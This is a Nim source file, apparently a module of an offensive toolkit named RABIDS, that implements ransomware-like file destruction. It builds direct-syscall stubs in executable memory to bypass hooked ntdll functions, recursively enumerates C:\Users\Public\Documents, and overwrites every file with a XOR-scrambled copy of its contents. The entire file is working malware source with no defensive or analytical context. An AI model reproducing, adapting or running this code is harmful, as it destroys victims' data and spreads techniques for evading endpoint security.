Files
RABIDS/MODULE/winkrashv2.nim
2025-09-25 21:40:02 +05:00

325 lines
11 KiB
Nim

import winim/lean, strformat, os, strutils, winim
const
targetDir* = r"C:\Users\Public\Documents"
key* = "secret"
type
SyscallNtOpenProc = proc (
FileHandle: ptr HANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: ptr OBJECT_ATTRIBUTES,
IoStatusBlock: ptr IO_STATUS_BLOCK,
ShareAccess: ULONG,
OpenOptions: ULONG
): NTSTATUS {.cdecl.}
SyscallNtQueryDirProc = proc(
FileHandle: HANDLE,
Event: HANDLE,
ApcRoutine: pointer,
ApcContext: pointer,
IoStatusBlock: ptr IO_STATUS_BLOCK,
FileInformation: pointer,
Length: ULONG,
FileInformationClass: ULONG,
ReturnSingleEntry: BOOLEAN,
FileName: ptr UNICODE_STRING,
RestartScan: BOOLEAN
): NTSTATUS {.cdecl.}
SyscallNtReadProc = proc(
FileHandle: HANDLE,
Event: HANDLE,
ApcRoutine: pointer,
ApcContext: pointer,
IoStatusBlock: ptr IO_STATUS_BLOCK,
Buffer: pointer,
Length: uint32,
ByteOffset: ptr int64,
Key: ptr uint32
): NTSTATUS {.cdecl.}
SyscallNtWriteProc = proc(
FileHandle: HANDLE,
Event: HANDLE,
ApcRoutine: pointer,
ApcContext: pointer,
IoStatusBlock: ptr IO_STATUS_BLOCK,
Buffer: pointer,
Length: uint32,
ByteOffset: ptr int64,
Key: ptr uint32
): NTSTATUS {.cdecl.}
SyscallNtQueryInformationFile = proc(
FileHandle: HANDLE,
IoStatusBlock: ptr IO_STATUS_BLOCK,
FileInformation: pointer,
Length: ULONG,
FileInformationClass: int32
): NTSTATUS {.cdecl.}
proc wideLen(w: ptr WCHAR): int =
var p = w
var cnt = 0
while p[] != 0:
inc cnt
p = cast[ptr WCHAR](cast[ByteAddress](p) + sizeof(WCHAR))
return cnt
proc syscallNum(name: cstring): int32 =
let n = LoadLibraryA("ntdll.dll")
let procAddr = GetProcAddress(n, name)
for i in 0..127:
let p = cast[ptr byte](cast[ByteAddress](procAddr) +% i)
if p[] == 0xB8'u8:
let immPtr = cast[ptr int32](cast[ByteAddress](p) +% 1)
return immPtr[]
return -1
proc syscallInstr(funcName: pointer): pointer =
let baseAddr = cast[ByteAddress](funcName)
for i in 0..31:
let p1 = cast[ptr byte](baseAddr +% i)
let p2 = cast[ptr byte](baseAddr +% (i + 1))
if p1[] == 0x0F'u8 and p2[] == 0x05'u8:
return p1
return nil
proc syscallStub(funcName: pointer, syscallNumber: int32): pointer =
if funcName == nil: return nil
let sysInstr = syscallInstr(funcName)
var stub: array[21, byte] = [
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0x49, 0xBB,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x41, 0xFF, 0xE3
]
let immPtr = cast[ptr int32](addr stub[4])
immPtr[] = syscallNumber
let targetPtr = cast[ptr int64](addr stub[10])
targetPtr[] = cast[int64](cast[ByteAddress](sysInstr))
let size = stub.len
let mem = VirtualAlloc(nil, csize(size), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
copyMem(mem, unsafeAddr stub[0], size)
if mem == nil:
echo "[-] VirtualAlloc failed!"
return nil
return mem
proc syscallGetBufferSize(h: HANDLE): int =
var iosb: IO_STATUS_BLOCK
var info: FILE_STANDARD_INFORMATION
let NtFileSizeNum = syscallNum("NtQueryInformationFile")
let ntFileSizeStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationFile"), NtFileSizeNum)
if ntFileSizeStub == nil: return -1
let NtQueryInformationFile = cast[SyscallNtQueryInformationFile](ntFileSizeStub)
defer: discard VirtualFree(ntFileSizeStub, 0, MEM_RELEASE)
let status = NtQueryInformationFile(
h,
addr iosb,
addr info,
sizeof(info).ULONG,
5
)
if status >= 0:
return info.EndOfFile.QuadPart.int
return -1
proc encryptBuffer(input: seq[uint8], xorKey: byte): seq[uint8] {.cdecl.} =
var output = newSeq[uint8](input.len)
for i in 0..<input.len:
output[i] = input[i] xor xorKey
return output
proc syscallMain(ntPath: string) =
var dirHandle: HANDLE
var iosb: IO_STATUS_BLOCK
let folder = newWideCString(ntPath)
var uniStr: UNICODE_STRING
uniStr.Buffer = folder
uniStr.Length = (wideLen(folder) * sizeof(WCHAR)).uint16
uniStr.MaximumLength = uniStr.Length + sizeof(WCHAR).uint16
var oa: OBJECT_ATTRIBUTES
zeroMem(addr oa, sizeof(oa))
oa.Length = sizeof(OBJECT_ATTRIBUTES).ULONG
oa.ObjectName = addr uniStr
oa.Attributes = OBJ_CASE_INSENSITIVE
oa.RootDirectory = 0.HANDLE
let ntOpenNum = syscallNum("NtOpenFile")
let openStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenFile"), ntOpenNum)
if openStub == nil:
echo "[-] failed to build NtOpenFile stub"
return
let NtOpenFile = cast[SyscallNtOpenProc](openStub)
defer: discard VirtualFree(openStub, 0, MEM_RELEASE)
zeroMem(addr iosb, sizeof(iosb))
let desiredAccess = ACCESS_MASK(FILE_LIST_DIRECTORY or FILE_READ_ATTRIBUTES or SYNCHRONIZE)
let status = NtOpenFile(
addr dirHandle,
desiredAccess,
addr oa,
addr iosb,
(FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE).ULONG,
ULONG(FILE_DIRECTORY_FILE or FILE_SYNCHRONOUS_IO_NONALERT)
)
if status < 0:
echo fmt("[-] NtOpenFile failed with status: 0x{cast[uint32](status):08X}")
return
defer: discard CloseHandle(dirHandle)
let ntQueryNum = syscallNum("NtQueryDirectoryFile")
let queryStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryDirectoryFile"), ntQueryNum)
if queryStub == nil:
echo "[-] failed to build NtQueryDirectoryFile stub"
return
let NtQueryDirectoryFile = cast[SyscallNtQueryDirProc](queryStub)
defer: discard VirtualFree(queryStub, 0, MEM_RELEASE)
var buffer: array[4096, byte]
var restart = true
while true:
zeroMem(addr iosb, sizeof(iosb))
let qstat = NtQueryDirectoryFile(
dirHandle,
cast[HANDLE](nil),
nil,
nil,
addr iosb,
addr buffer[0],
ULONG(buffer.len),
1,
BOOLEAN(false),
nil,
BOOLEAN(restart)
)
if qstat < 0: break
restart = false
var offset: ULONG = 0
while true:
let entry = cast[ptr FILE_DIRECTORY_INFORMATION](addr buffer[offset])
let nameLenInWchars = (entry.FileNameLength div sizeof(WCHAR)).int
let fnamePtr = addr entry.FileName[0]
var fname: string
if nameLenInWchars > 0:
let reqSize = WideCharToMultiByte(CP_UTF8, 0, fnamePtr, nameLenInWchars.int32, nil, 0, nil, nil)
if reqSize > 0:
fname = newString(reqSize)
discard WideCharToMultiByte(CP_UTF8, 0, fnamePtr, nameLenInWchars.int32, addr fname[0], reqSize, nil, nil)
let cleanName = fname.strip(chars = {'\0'})
if cleanName != "." and cleanName != "..":
if (entry.FileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0:
echo "[DIR] ", ntPath, "\\", cleanName
syscallMain(ntPath & "\\" & cleanName)
else:
let fullPath = ntPath & "\\" & cleanName
echo "", fullPath
let filePath = if fullPath.startsWith(r"\??\"): fullPath[4..^1] else: fullPath
let fileHandle = CreateFileA(
filePath,
GENERIC_READ,
FILE_SHARE_READ,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
cast[HANDLE](nil)
)
if fileHandle == INVALID_HANDLE_VALUE:
echo fmt"[-] Failed to open file '{filePath}' with error: {GetLastError()}"
else:
let readNum = syscallNum("NtReadFile")
let readStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadFile"), readNum)
if readStub == nil:
echo "[-] Failed to build NtReadFile stub"
discard CloseHandle(fileHandle)
else:
let NtReadFile = cast[SyscallNtReadProc](readStub)
defer: discard VirtualFree(readStub, 0, MEM_RELEASE)
var fileSize = syscallGetBufferSize(fileHandle)
if fileSize < 0: fileSize = 4096
var fileContentBuf: seq[byte] = newSeq[byte](fileSize)
zeroMem(addr iosb, sizeof(iosb))
let readStatus = NtReadFile(
fileHandle, cast[HANDLE](nil), cast[pointer](nil), cast[pointer](nil),
addr iosb,
if fileContentBuf.len > 0: addr fileContentBuf[0] else: nil, fileContentBuf.len.uint32,
cast[ptr int64](nil), cast[ptr uint32](nil)
)
if readStatus >= 0:
let bytesRead = iosb.Information
echo fmt("+] Read {bytesRead} bytes.")
discard CloseHandle(fileHandle)
let writeFileHandle = CreateFileA(
filePath.cstring,
GENERIC_WRITE,
0,
nil,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
cast[HANDLE](nil)
)
if writeFileHandle == INVALID_HANDLE_VALUE:
echo fmt"[-] Failed to open file for writing with error: {GetLastError()}"
else:
defer: discard CloseHandle(writeFileHandle)
let writeNum = syscallNum("NtWriteFile")
let writeStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteFile"), writeNum)
if writeStub == nil:
echo "[-] Failed to build NtWriteFile stub"
else:
defer: discard VirtualFree(writeStub, 0, MEM_RELEASE)
let NtWriteFile = cast[SyscallNtWriteProc](writeStub)
zeroMem(addr iosb, sizeof(iosb))
let xorBuf = encryptBuffer(fileContentBuf[0 ..< bytesRead.int], key[0].byte)
let writeStatus = NtWriteFile(
writeFileHandle, cast[HANDLE](nil), nil, nil, addr iosb,
if xorBuf.len > 0: addr xorBuf[0] else: nil,
xorBuf.len.uint32, cast[ptr int64](nil), nil
)
if writeStatus >= 0:
echo fmt"[+] Wrote {iosb.Information} bytes back to file."
else:
echo fmt"[-] NtWriteFile failed: 0x{cast[uint32](writeStatus):X}"
else:
echo fmt("[-] NtReadFile failed: 0x{cast[uint32](readStatus):X}")
discard CloseHandle(fileHandle)
if entry.NextEntryOffset == 0: break
offset += entry.NextEntryOffset
proc getNtPath(path: string): string =
var fullPath = expandFilename(path)
if not fullPath.startsWith(r"\??\"):
fullPath = r"\??\" & fullPath
return fullPath
when isMainModule:
let ntPath = getNtPath(targetDir)
syscallMain(ntPath)